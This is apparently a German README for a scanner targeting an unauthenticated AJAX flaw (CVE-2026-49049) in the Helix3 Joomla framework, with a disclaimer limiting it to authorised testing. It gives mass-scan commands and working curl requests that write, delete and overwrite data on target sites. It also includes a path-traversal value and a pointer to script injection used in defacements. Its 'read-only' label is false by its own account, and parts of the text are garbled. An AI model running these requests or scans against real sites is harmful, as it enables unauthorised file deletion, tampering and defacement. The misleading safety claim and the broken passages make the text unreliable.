
Schreibgeschützter Schwachstellen-Scanner für CVE-2026-49049 — Helix3-Joomla-Plugin nicht authentifizierter AJAX-Handler
CVE-2026-49049 betrifft das Helix3-Template-Framework für Joomla (Versionen 1.0 bis 3.1.0). Der onAjaxHelix3-Handler, der über Joomlas com_ajax-Dispatcher erreichbar ist, führt bei mehreren destruktiven Aktionen keine Authentifizierungs-, Autorisierungs- oder CSRF-Prüfung durch:
Hinweis: Die
import-Aktion wurde in Helix3 v3.x hinzugefügt. Websites, die v2.x ausführen, sind nur vonsaveundremovebetroffen.
Die Schwachstelle wurde von Phil Taylor (mySites.guru) entdeckt und am 29. Juni 2026 veröffentlicht.
| Helix3-Version | save/remove | import |
|---|---|---|
| 1.0 – 2.x | Anfällig | Nicht vorhanden |
| 3.0 – 3.1.0 | Anfällig | Anfällig |
| 3.1.1+ | Gepatcht | Gepatcht |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Single target (domain or IP)
-f, --file File with targets, one per line
-o, --output Real-time text output (default: cve-2026-49049_scan.txt)
--json Structured JSON report (default: cve-2026-49049_report.json)
--threads Concurrent workers (default: 15)
--timeout HTTP timeout in seconds (default: 15)
-v, --verbose Show probe details
Der Scanner führt eine Nur-Lese-Sonde durch — er schreibt über den nicht authentifizierten save-Endpunkt eine harmlose JSON-Datei in den Helix3-Layout-Ordner, prüft, ob sie geschrieben wurde, und löscht sie anschließend sofort über den remove-Endpunkt. Auf dem Zielsystem bleiben keine dauerhaften Änderungen zurück.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
Der Scanner testet genau diese Endpunkte. Zur manuellen Überprüfung:
Schritt 1 — Bestätigen, dass Helix3 installiert ist
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
Schritt 2 — save-Aktion testen (nicht authentifiziertes Schreiben von Dateien)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Schritt 3 — remove-Aktion testen (nicht authentifiziertes Löschen von Dateien)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
Schritt 4 — import-Aktion testen (nur v3.x, in v2.x nicht verfügbar)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
In Helix3-Versionen vor 3.1.1 verarbeitet plugins/ajax/helix3/helix3.php Anfragen über onAjaxHelix3() ohne jede Absicherung:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil schreibt Dateien außerhalb des vorgesehenen Layout-Verzeichnissessave (das .json anhängt) kann remove jeden Dateityp anvisierencustom_js wird nicht maskiert in der Template-Ausgabe gerendert, was auf jeder Seite Script-Injection ermöglicht. Dies ist der Vektor, der bei realen Defacement-Angriffen verwendet wird.NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Diese Software richtet sich an Sicherheitsexperten, die autorisierte Penetrationstests durchführen, an Organisationen, die ihre eigene Infrastruktur prüfen, sowie an Forscher, die die Ausnutzung von Schwachstellen untersuchen.
Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen folgende Gesetze verstoßen:
- Vereinigte Staaten: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesien: UU ITE Pasal 30 & 46
- Europäische Union: Richtlinie 2013/40/EU
- Vereinigtes Königreich: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Missbrauch. Durch die Nutzung dieser Software übernehmen Sie die volle Verantwortung für Ihre Handlungen.
| Ressource |
|---|
Dieses Projekt ist weder mit JoomShaper, Joomla noch mit Open Source Matters, Inc. verbunden.
| Aktion | Auswirkung | Verfügbar in |
|---|
save | Schreibt angreiferkontrollierte JSON-Dateien mit Path Traversal | Alle Versionen |
remove | Löscht beliebige Dateien — keine Erweiterungs- oder Pfadbeschränkung | Alle Versionen |
import | Überschreibt gespeicherte Template-Parameter in der Datenbank | nur v3.x |
| Link |
|---|
| Ursprüngliches Advisory (mySites.guru) | Helix3 3.1.1 Security Fix |
| NVD-Eintrag | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 Repository |